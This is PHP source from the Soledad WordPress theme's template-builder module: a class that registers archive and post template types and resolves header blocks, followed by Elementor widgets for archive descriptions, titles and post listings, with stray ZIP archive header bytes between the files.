	public function post_type() {

		$show_archive = get_theme_mod( 'penci_hide_archive_builder' ) ? false : true;
		register_post_type( 'archive-template', array(
			'labels'              => array(
				'name'               => esc_html__( 'Archive Template', 'soledad' ),
				'singular_name'      => esc_html__( 'Archive Template', 'soledad' ),
				'menu_name'          => esc_html__( 'Archive Template', 'soledad' ),
				'add_new'            => esc_html__( 'New Archive Template', 'soledad' ),
				'add_new_item'       => esc_html__( 'Build Archive Template', 'soledad' ),
				'edit_item'          => esc_html__( 'Edit Archive Template', 'soledad' ),
				'new_item'           => esc_html__( 'New Archive Template Entry', 'soledad' ),
				'view_item'          => esc_html__( 'View Archive Template', 'soledad' ),
				'search_items'       => esc_html__( 'Search Archive Template', 'soledad' ),
				'not_found'          => esc_html__( 'No entry found', 'soledad' ),
				'not_found_in_trash' => esc_html__( 'No Archive Template in Trash', 'soledad' ),
				'parent_item_colon'  => ''
			),
			'description'         => esc_html__( 'Single Archive Template', 'soledad' ),
			'public'              => true,
			'show_ui'             => $show_archive,
			'show_in_nav_menus'   => $show_archive,
			'menu_position'       => 8,
			'menu_icon'           => 'dashicons-align-full-width',
			'capability_type'     => 'post',
			'hierarchical'        => false,
			'supports'            => array( 'title', 'editor' ),
			'map_meta_cap'        => true,
			'exclude_from_search' => true,
			'rewrite'             => array(
				'slug' => 'archive-template'
			)
		) );

		$show_post = get_theme_mod( 'penci_hide_post_builder' ) ? false : true;

		register_post_type( 'custom-post-template', array(
			'labels'              => array(
				'name'               => esc_html__( 'Post Template', 'soledad' ),
				'singular_name'      => esc_html__( 'Post Template', 'soledad' ),
				'menu_name'          => esc_html__( 'Post Template', 'soledad' ),
				'add_new'            => esc_html__( 'New Post Template', 'soledad' ),
				'add_new_item'       => esc_html__( 'Build Custom Post Template', 'soledad' ),
				'edit_item'          => esc_html__( 'Edit Post Template', 'soledad' ),
				'new_item'           => esc_html__( 'New Custom Post Template Entry', 'soledad' ),
				'view_item'          => esc_html__( 'View Custom Post Template', 'soledad' ),
				'search_items'       => esc_html__( 'Search Custom Post Template', 'soledad' ),
				'not_found'          => esc_html__( 'No entry found', 'soledad' ),
				'not_found_in_trash' => esc_html__( 'No Custom Post Template in Trash', 'soledad' ),
				'parent_item_colon'  => ''
			),
			'description'         => esc_html__( 'Custom Single Post Template', 'soledad' ),
			'public'              => true,
			'menu_icon'           => 'dashicons-media-document',
			'show_ui'             => $show_post,
			'show_in_nav_menus'   => $show_post,
			'menu_position'       => 9,
			'capability_type'     => 'post',
			'hierarchical'        => false,
			'supports'            => array( 'title', 'editor' ),
			'map_meta_cap'        => true,
			'exclude_from_search' => true,
			'rewrite'             => array(
				'slug' => 'post-template'
			)
		) );

	}

	public function header_block_id() {
		$header_site    = get_theme_mod( 'pchdbd_block_all' );
		$header_home    = get_theme_mod( 'pchdbd_block_homepage' );
		$header_archive = get_theme_mod( 'pchdbd_block_archive' );
		$header_page    = get_theme_mod( 'pchdbd_block_page' );
		$header_post    = get_theme_mod( 'pchdbd_block_post' );

		if ( is_home() || is_front_page() ) {
			$home_id = $header_home ? $header_home : $header_site;
			return $home_id ? $this->get_header_block_id( $home_id ) : '';
		} elseif ( is_archive() ) {
			
			if ( is_category() ) {
				
				$current_cat_id   = get_query_var( 'cat' );
				$category_options = get_option( "category_$current_cat_id" );

				if ( isset( $category_options['cat_header_block'] ) && $category_options['cat_header_block'] ) {
					return $this->get_header_block_id( $category_options['cat_header_block'] ) ;
				} else if ( $header_archive ) {
					return $this->get_header_block_id( $header_archive ) ;
				} elseif ( $header_site ) {
					return $this->get_header_block_id( $header_site ) ;
				}

			} else if ( $header_archive ) {
				return $this->get_header_block_id( $header_archive ) ;
			} elseif ( $header_site ) {
				return $this->get_header_block_id( $header_site ) ;
			}

		} elseif ( is_singular() && ! is_page() ) {
			$post_config = penci_get_single_key( get_the_ID(), 'penci_header_block_layout' );
			if ( $post_config ) {
				if ( is_numeric( $post_config ) ) {
					return $post_config;
				} else {
					return $this->get_header_block_id( $post_config ) ;
				}
			} elseif ( $header_post ) {
				return $this->get_header_block_id( $header_post ) ;
			} elseif ( $header_site ) {
				return $this->get_header_block_id( $header_site ) ;
			}
		} elseif ( is_page() ) {
			$page_config = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
			if ( isset( $page_config['header_block_layout'] ) && $page_config['header_block_layout'] ) {
				return $page_config['header_block_layout'];
			} elseif ( $header_page ) {
				return $this->get_header_block_id( $header_page ) ;
			} elseif ( $header_site ) {
				return $this->get_header_block_id( $header_page ) ;
			}
		}

		return false;
	}

	public function get_header_block_id( $page_slug ) {
		$page_data = get_page_by_path( $page_slug, OBJECT, 'penci-block' );
		if ( isset( $page_data->ID ) && $page_data->ID ) {
			return $page_data->ID;
		}

		return false;
	}

	public function builder_content( $template ) {

		global $post;

		if ( isset( $post->post_type ) && ( $post->post_type == 'archive-template' || $post->post_type == 'custom-post-template' ) && $this->is_preview() ) {
			$template = locate_template( array( 'inc/template-builder/page-edit.php' ) );
		}

		if ( penci_should_render_archive_template() && ! $this->is_preview() && ! is_embed() ) {
			$template = locate_template( array( 'inc/template-builder/archive-elements/render.php' ) );
		}

		if ( penci_should_render_single_template() && ! $this->is_preview() && ! is_embed() ) {
			$template = locate_template( array( 'inc/template-builder/single-elements/render.php' ) );
		}

		return $template;
	}

	public function is_preview() {
		$check = false;
		if ( class_exists( '\Elementor\Plugin' ) ) {
			$check = \Elementor\Plugin::$instance->preview->is_preview_mode() || \Elementor\Plugin::$instance->editor->is_edit_mode();
		}

		return $check;
	}

	public function disable_frontview() {

		if ( ( is_singular( 'archive-template' ) || is_singular( 'custom-post-template' ) ) && ! $this->is_preview() ) {
			wp_redirect( home_url( '/' ), 301 );
			die;
		}
	}

	public function fof_content( $template ) {
		if ( is_404() && get_theme_mod( 'fof_page' ) ) {
			$template = locate_template( array( 'inc/template-builder/other/404.php' ) );
		}

		return $template;
	}

	public function fof_add_post_state( $post_states, $post ) {

		$post_name = get_theme_mod( 'fof_page' );

		if ( $post_name && $post->post_name == $post_name && $post->post_type == 'page' ) {
			$post_states[] = __( '404 Page', 'solead' );
		}

		return $post_states;
	}

	public function preview_image( $url, $postid ) {
		if ( penci_elementor_is_edit_mode() && ( is_singular( 'custom-post-template' ) || is_singular( 'archive-template' ) ) ) {
			$url = PENCI_SOLEDAD_URL . '/inc/template-builder/placeholder.php?w=1200&h=800';
		}

		return $url;
	}

	public function preview_image_html( $html, $postid, $post_thumbnail_id, $size, $attr ) {
		if ( penci_elementor_is_edit_mode() && ( is_singular( 'custom-post-template' ) || is_singular( 'archive-template' ) ) ) {
			global $_wp_additional_image_sizes;
			$w = 1200;
			$h = 800;

			if ( isset( $_wp_additional_image_sizes[ $size ] ) ) {
				$w = $_wp_additional_image_sizes[ $size ]['width'];
				$h = $_wp_additional_image_sizes[ $size ]['height'];
			}

			$html = '<img src="' . PENCI_SOLEDAD_URL . '/inc/template-builder/placeholder.php?w=' . $w . '&h=' . $h . '" alt="" />';
		}

		return $html;
	}

}

PenciTemplateBuilder::getInstance();
PK     2w\|?E    1  template-builder/archive-elements/description.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciArchiveDescription extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Archive - Description', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-text';
	}

	public function get_categories() {
		return [ 'penci-custom-archive-builder' ];
	}

	public function get_keywords() {
		return [ 'archive', 'description' ];
	}

	protected function get_html_wrapper_class() {
		return 'pcab-adesc elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-archive-description';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'desc_align', [
			'label'     => __( 'Text Align', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::CHOOSE,
			'default'   => 'left',
			'options'   => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'toggle'    => true,
			'selectors' => [ '{{WRAPPER}} .penci-category-description.post-entry' => 'text-align:{{VALUE}}' ],
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'color_style', [
			'label' => esc_html__( 'Color & Styles', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'desc_typo',
			'label'    => __( 'Typography for Archive Description', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-archive-description.post-entry, {{WRAPPER}} .penci-archive-description.post-entry p',
		) );

		$this->add_control( 'text-color', [
			'label'     => 'Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-archive-description.post-entry' => 'color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'main-text-color', [
			'label'     => 'Link Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-archive-description.post-entry a' => 'color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'main-text-hcolor', [
			'label'     => 'Link Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-archive-description.post-entry a:hover' => 'color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'readmore-heading', [
			'label'     => 'Read More',
			'type'      => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_control( 'readmore-bg-color', [
			'label'     => 'Read More Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-category-description-button:before' => 'background: linear-gradient(to bottom, transparent 0px, {{VALUE}} 40px);' ],
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'readmore_btn_typo',
			'label'    => __( 'Typography for Read more', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-category-description-button a',
		) );

		$this->add_control( 'readmore_btn_color', [
			'label'     => 'Read More Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-category-description-button a' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'readmore_btn_hcolor', [
			'label'     => 'Read More Text Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-category-description-button a:hover' => 'color:{{VALUE}}' ],
		] );

		$this->add_responsive_control( 'desc_maxheight', [
			'label'     => 'Max Height for Description Text',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 1000, ) ),
			'selectors' => [ 'body:not(.penci-disable-desc-collapse) {{WRAPPER}} .penci-category-description' => 'max-height:{{SIZE}}px' ],
		] );

		$this->end_controls_section();

	}

	protected function render() {

		if ( penci_elementor_is_edit_mode() ) {
			$this->preview_content();
		} else {
			$this->builder_content();
		}

	}

	protected function preview_content() {
		?>
        <div class="post-entry penci-category-description penci-archive-description">
            <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Accusamus consequuntur eius iste mollitia quo
                veritatis, voluptatum. Atque culpa deleniti eligendi est explicabo modi officia optio porro reiciendis
                tempore, ut voluptas!</p>
        </div>
		<?php
	}

	protected function builder_content() {

		$desc_content = $button_desc = '';

		if ( ! get_theme_mod( 'penci_archive_disable_desc_collapse', true ) ) {

			$button_desc = '<div class="penci-category-description-button"><a aria-label="' . penci_get_setting( 'penci_trans_read_more' ) . '" title="' . penci_get_setting( 'penci_trans_read_more' ) . '" href="#">' . penci_get_setting( 'penci_trans_read_more' ) . '</a></div>';
		}

		if ( is_tag() && tag_description() ) {
			$desc_content = '<div class="post-entry penci-archive-description penci-tag-description"><div class="penci-category-description-inner">' . do_shortcode( tag_description() ) . '</div>' . $button_desc . '</div>';
		} elseif ( is_category() && category_description() ) {
			$desc_content = '<div class="post-entry penci-archive-description penci-category-description"><div class="penci-category-description-inner">' . do_shortcode( category_description() ) . '</div>' . $button_desc . '</div>';
		} elseif ( is_archive() && get_the_archive_description() ) {
			$desc_content = '<div class="post-entry penci-category-description penci-archive-description"><div class="penci-category-description-inner">' . do_shortcode( get_the_archive_description() ) . '</div>' . $button_desc . '</div>';
		}
		echo $desc_content;
	}
}
PK     2w\5Ī>  >  +  template-builder/archive-elements/title.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciArchiveTitle extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Archive - Title', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-post-title';
	}

	public function get_categories() {
		return [ 'penci-custom-archive-builder' ];
	}

	public function get_keywords() {
		return [ 'archive', 'title' ];
	}

	protected function get_html_wrapper_class() {
		return 'pcab-atitle elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-archive-title';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'heading_markup', [
			'label'   => esc_html__( 'Heading Markup', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => 'h1',
			'options' => [
				'h1' => 'H1',
				'h2' => 'H2',
				'h3' => 'H3',
				'h4' => 'H4',
				'h5' => 'H5',
				'h6' => 'H6',
			]
		] );

		$this->add_control( 'heading_align', [
			'label'   => __( 'Heading Align', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::CHOOSE,
			'default' => 'left',
			'options' => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'toggle'  => true,
		] );

		$this->add_control( 'heading_line', [
			'label'     => __( 'Remove Heading Line', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'selectors' => [
				'{{WRAPPER}} .pcab-abox .title-bar:after' => 'display:none',
				'{{WRAPPER}} .pcab-abox .title-bar'       => 'padding:0;margin:0;',
			],
		] );

		$this->add_control( 'show_desc', [
			'label' => __( 'Show Archive Description', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_control( 'desc_position', [
			'label'     => esc_html__( 'Description Position', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SELECT,
			'default'   => 'after',
			'condition' => [ 'show_desc' => 'yes' ],
			'options'   => [
				'after'  => 'After Title',
				'before' => 'Before Title',
			]
		] );

		$this->add_control( 'desc_align', [
			'label'     => __( 'Description Text Align', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::CHOOSE,
			'default'   => 'center',
			'options'   => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'toggle'    => true,
			'selectors' => [ '{{WRAPPER}} .penci-category-description.post-entry' => 'text-align:{{VALUE}}' ],
			'condition' => [ 'show_desc' => 'yes' ],
		] );

		$this->add_responsive_control( 'desc_spacing', [
			'label'      => 'Description Spacing',
			'type'       => \Elementor\Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 200 ),
			),
			'selectors'  => [
				'{{WRAPPER}} .post-entry.pcdcp-after'  => 'margin-top:{{SIZE}}px !important;',
				'{{WRAPPER}} .post-entry.pcdcp-before' => 'margin-bottom:{{SIZE}}px !important;',
			],
			'condition'  => [ 'show_desc' => 'yes' ],
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'color_style', [
			'label' => esc_html__( 'Color & Styles', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'heading_main_typo',
			'label'    => __( 'Typography for Archive Main Title', 'soledad' ),
			'selector' => '{{WRAPPER}} .archive-box .page-title, {{WRAPPER}} .archive-box span',
		) );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'heading_typo',
			'label'    => __( 'Typography for Prefix Text', 'soledad' ),
			'selector' => '{{WRAPPER}} .archive-box span',
		) );

		$this->add_control( 'main-text-color', [
			'label'     => 'Main Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .archive-box .page-title, {{WRAPPER}} .archive-box span' => 'color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'text-color', [
			'label'     => 'Prefix Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .archive-box span' => 'color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'heading-line-color', [
			'label'     => 'Heading Line Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pcab-abox .title-bar:after' => 'background-color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'heading-line-s', [
			'label'      => 'Heading Line Spacing with Title',
			'type'       => \Elementor\Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 500 ),
			),
			'selectors'  => [
				'{{WRAPPER}} .pcab-abox .title-bar' => 'padding-bottom:{{SIZE}}px;',
			],
		] );

		$this->add_control( 'heading-line-w', [
			'label'      => 'Heading Line Width',
			'type'       => \Elementor\Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 500 ),
			),
			'selectors'  => [
				'{{WRAPPER}} .pcab-abox .title-bar:after'              => 'width:{{SIZE}}px !important;',
				'{{WRAPPER}} .pcab-abox .title-bar.align-center:after' => 'margin-left:calc({{SIZE}}px / 2 * -1)',
			],
		] );

		$this->add_control( 'heading-line-h', [
			'label'      => 'Heading Line Height',
			'type'       => \Elementor\Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 50 ),
			),
			'selectors'  => [
				'{{WRAPPER}} .pcab-abox .title-bar:after' => 'height:{{SIZE}}px !important;',
			],
		] );

		// desc style

		$this->add_control( 'desc-heading', [
			'label'     => 'Archive Description',
			'type'      => \Elementor\Controls_Manager::HEADING,
			'condition' => [ 'show_desc' => 'yes' ],
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'      => 'desc_typo',
			'label'     => __( 'Typography for Archive Description', 'soledad' ),
			'selector'  => '{{WRAPPER}} .penci-archive-description.post-entry, {{WRAPPER}} .penci-archive-description.post-entry p',
			'condition' => [ 'show_desc' => 'yes' ],
		) );

		$this->add_control( 'desc-color', [
			'label'     => 'Description Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-archive-description.post-entry' => 'color:{{VALUE}} !important' ],
			'condition' => [ 'show_desc' => 'yes' ],
		] );

		$this->add_control( 'main-dtext-color', [
			'label'     => 'Description Link Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-archive-description.post-entry a' => 'color:{{VALUE}} !important' ],
			'condition' => [ 'show_desc' => 'yes' ],
		] );

		$this->add_control( 'main-dtext-hcolor', [
			'label'     => 'Description Link Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-archive-description.post-entry a:hover' => 'color:{{VALUE}} !important' ],
			'condition' => [ 'show_desc' => 'yes' ],
		] );

		$this->add_control( 'readmore-heading', [
			'label'     => 'Read More',
			'type'      => \Elementor\Controls_Manager::HEADING,
			'condition' => [ 'show_desc' => 'yes' ],
		] );

		$this->add_control( 'readmore-bg-color', [
			'label'     => 'Read More Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => [ 'show_desc' => 'yes' ],
			'selectors' => [ '{{WRAPPER}} .penci-category-description-button:before' => 'background: linear-gradient(to bottom, transparent 0px, {{VALUE}} 40px);' ],
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'      => 'readmore_btn_typo',
			'label'     => __( 'Typography for Read more', 'soledad' ),
			'condition' => [ 'show_desc' => 'yes' ],
			'selector'  => '{{WRAPPER}} .penci-category-description-button a',
		) );

		$this->add_control( 'readmore_btn_color', [
			'label'     => 'Read More Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => [ 'show_desc' => 'yes' ],
			'selectors' => [ '{{WRAPPER}} .penci-category-description-button a' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'readmore_btn_hcolor', [
			'label'     => 'Read More Text Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => [ 'show_desc' => 'yes' ],
			'selectors' => [ '{{WRAPPER}} .penci-category-description-button a:hover' => 'color:{{VALUE}}' ],
		] );

		$this->add_responsive_control( 'desc_maxheight', [
			'label'     => 'Max Height for Description Text',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'condition' => [ 'show_desc' => 'yes' ],
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 1000, ) ),
			'selectors' => [ 'body:not(.penci-disable-desc-collapse) {{WRAPPER}} .penci-category-description' => 'max-height:{{SIZE}}px' ],
		] );

		$this->end_controls_section();

	}

	protected function render() {

		if ( penci_elementor_is_edit_mode() ) {
			$this->preview_content();
		} else {
			$this->builder_content();
		}

	}

	protected function preview_content() {
		$settings      = $this->get_settings();
		$heading_tag   = $settings['heading_markup'];
		$align         = $settings['heading_align'];
		$desc_position = $settings['desc_position'] ? $settings['desc_position'] : 'after';
		$desc_content  = '<div class="post-entry penci-category-description penci-archive-description pcdcp-' . $desc_position . '">
            <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Accusamus consequuntur eius iste mollitia quo
                veritatis, voluptatum. Atque culpa <a href="#">deleniti eligendi</a> est explicabo modi officia optio porro reiciendis
                tempore, ut voluptas!</p>
        </div>';
		if ( $settings['desc_position'] == 'before' && $settings['show_desc'] ) {
			echo $desc_content;
		}
		?>
        <div class="archive-box pcab-abox">
            <div class="title-bar align-<?php echo $align; ?>">
                <span><?php _e( 'Prefix Text: ', 'soledad' ); ?></span>
                <<?php echo $heading_tag; ?> class="page-title">
				<?php _e( 'Archive Title', 'soledad' ); ?>
            </<?php echo $heading_tag; ?>>
        </div>
        </div>
		<?php
		if ( $settings['desc_position'] != 'before' && $settings['show_desc'] ) {
			echo $desc_content;
		}
	}

	protected function builder_content() {
		$settings      = $this->get_settings();
		$heading_tag   = $settings['heading_markup'];
		$align         = $settings['heading_align'];
		$desc_position = $settings['desc_position'] ? $settings['desc_position'] : 'after';

		$desc_content = $button_desc = '';

		if ( $settings['show_desc'] ) {

			if ( ! get_theme_mod( 'penci_archive_disable_desc_collapse', true ) ) {

				$button_desc = '<div class="penci-category-description-button"><a aria-label="' . penci_get_setting( 'penci_trans_read_more' ) . '" title="' . penci_get_setting( 'penci_trans_read_more' ) . '" href="#">' . penci_get_setting( 'penci_trans_read_more' ) . '</a></div>';
			}
			if ( is_tag() && tag_description() ) {
				$desc_content = '<div class="post-entry penci-archive-description penci-tag-description pcdcp-' . $desc_position . '"><div class="penci-category-description-inner">' . do_shortcode( tag_description() ) . '</div>' . $button_desc . '</div>';
			} elseif ( is_category() && category_description() ) {
				$desc_content = '<div class="post-entry penci-archive-description penci-category-description pcdcp-' . $desc_position . '"><div class="penci-category-description-inner">' . do_shortcode( category_description() ) . '</div>' . $button_desc . '</div>';
			} elseif ( is_archive() && get_the_archive_description() ) {
				$desc_content = '<div class="post-entry penci-category-description penci-archive-description penci-acdes-below pcdcp-' . $desc_position . '"><div class="penci-category-description-inner">' . do_shortcode( get_the_archive_description() ) . '</div>' . $button_desc . '</div>';
			}
		}

		if ( $desc_position == 'before' && $desc_content ) {
			echo $desc_content;
		}

		?>
        <div class="archive-box pcab-abox">
            <div class="title-bar align-<?php echo $align; ?>">
				<?php
				if ( is_day() ) :
					if ( penci_get_setting( 'penci_trans_daily_archives' ) ):
						echo '<span>';
						echo penci_get_setting( 'penci_trans_daily_archives' );
						echo ' </span>';
					endif;
					printf( wp_kses( __( '<' . $heading_tag . ' class="page-title">%s</' . $heading_tag . '>', 'soledad' ), penci_allow_html() ), get_the_date() );
                elseif ( is_month() ) :
					if ( penci_get_setting( 'penci_trans_monthly_archives' ) ):
						echo '<span>';
						echo penci_get_setting( 'penci_trans_monthly_archives' );
						echo ' </span>';
					endif;
					printf( wp_kses( __( '<' . $heading_tag . ' class="page-title">%s</' . $heading_tag . '>', 'soledad' ), penci_allow_html() ), get_the_date( _x( 'F Y', 'monthly archives date format', 'soledad' ) ) );
                elseif ( is_year() ) :
					if ( penci_get_setting( 'penci_trans_yearly_archives' ) ):
						echo '<span>';
						echo penci_get_setting( 'penci_trans_yearly_archives' );
						echo ' </span>';
					endif;
					printf( wp_kses( __( '<' . $heading_tag . ' class="page-title">%s</' . $heading_tag . '>', 'soledad' ), penci_allow_html() ), get_the_date( _x( 'Y', 'yearly archives date format', 'soledad' ) ) );
                elseif ( is_author() ) :
					echo '<span>';
					echo penci_get_setting( 'penci_trans_author' );
					echo ' </span>';
					printf( wp_kses( __( '<' . $heading_tag . ' class="page-title">%s</' . $heading_tag . '>', 'soledad' ), penci_allow_html() ), get_userdata( get_query_var( 'author' ) )->display_name );
                elseif ( is_category() ):
					if ( ! get_theme_mod( 'penci_remove_cat_words' ) ): ?>
                        <span><?php echo penci_get_setting( 'penci_trans_category' ); ?></span>
					<?php endif;
					printf( wp_kses( __( '<' . $heading_tag . ' class="page-title">%s</' . $heading_tag . '>', 'soledad' ), penci_allow_html() ), single_cat_title( '', false ) );
					do_action( 'penci_archive_follow_button' );
				elseif ( is_tag() ):
					if ( ! get_theme_mod( 'penci_remove_tag_words' ) ): ?>
                        <span><?php echo penci_get_setting( 'penci_trans_tag' ); ?></span>
					<?php endif;
					printf( wp_kses( __( '<' . $heading_tag . ' class="page-title">%s</' . $heading_tag . '>', 'soledad' ), penci_allow_html() ), single_tag_title( '', false ) );
                elseif ( is_search() ):
					echo '<span>' . penci_get_setting( 'penci_trans_search_results_for' ) . '</span> ';
					printf( wp_kses( __( '<' . $heading_tag . ' class="page-title">"%s"</' . $heading_tag . '>', 'soledad' ), penci_allow_html() ), get_search_query() );
                elseif ( is_tax() ) :
					the_archive_title( '<' . $heading_tag . ' class="page-title">', '</' . $heading_tag . '>' );
				else :
					echo '<' . $heading_tag . ' class="page-title">';
					echo penci_get_setting( 'penci_trans_archives' );
					echo '</' . $heading_tag . '>';
				endif;
				?>
            </div>
        </div>
		<?php
		if ( $desc_position != 'before' && $desc_content ) {
			echo $desc_content;
		}
	}
}
PK     2w\E  +  template-builder/archive-elements/posts.phpnu [        <?php

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Modules\QueryControl\Module as Query_Control;


if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciArchivePosts extends Base_Widget {

	public function get_name() {
		return 'penci-archive-posts';
	}

	public function get_title() {
		return esc_html__( 'Archive - Posts', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-post-list';
	}

	public function get_categories() {
		return [ 'penci-custom-archive-builder' ];
	}

	public function get_keywords() {
		return array( 'post', 'cpt', 'item', 'loop', 'query', 'cards', 'custom post type', 'latest', 'recent' );
	}

	protected function _register_controls() {
		parent::_register_controls();

		$style_big_post   = array(
			'mixed',
			'mixed-4',
			'mixed-2',
			'standard-grid',
			'standard-grid-2',
			'standard-list',
			'standard-boxed-1',
			'classic-grid',
			'classic-grid-2',
			'classic-list',
			'classic-boxed-1',
			'overlay-grid',
			'overlay-grid-2',
			'overlay-list',
			'overlay-boxed-1'
		);
		$color_big_post   = array( 'mixed-2', 'overlay-grid', 'overlay-grid-2', 'overlay-list', 'overlay-boxed-1' );
		$style_extra_post = array( 'featured', 'mixed-4' );

		$this->start_controls_section(
			'section_layout', array(
				'label' => esc_html__( 'Layout', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'penci_style', array(
				'label'   => __( 'Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'grid',
				'options' => array(
					'standard'         => esc_html__( 'Standard Posts', 'soledad' ),
					'classic'          => esc_html__( 'Classic Posts', 'soledad' ),
					'overlay'          => esc_html__( 'Overlay Posts', 'soledad' ),
					'featured'         => esc_html__( 'Featured Boxed', 'soledad' ),
					'grid'             => esc_html__( 'Grid Posts', 'soledad' ),
					'grid-2'           => esc_html__( 'Grid 2 Columns Posts', 'soledad' ),
					'masonry'          => esc_html__( 'Grid Masonry Posts', 'soledad' ),
					'masonry-2'        => esc_html__( 'Grid Masonry 2 Columns Posts', 'soledad' ),
					'list'             => esc_html__( 'List Posts', 'soledad' ),
					'small-list'       => esc_html__( 'Small List Posts', 'soledad' ),
					'boxed-1'          => esc_html__( 'Boxed Posts Style 1', 'soledad' ),
					'boxed-2'          => esc_html__( 'Boxed Posts Style 2', 'soledad' ),
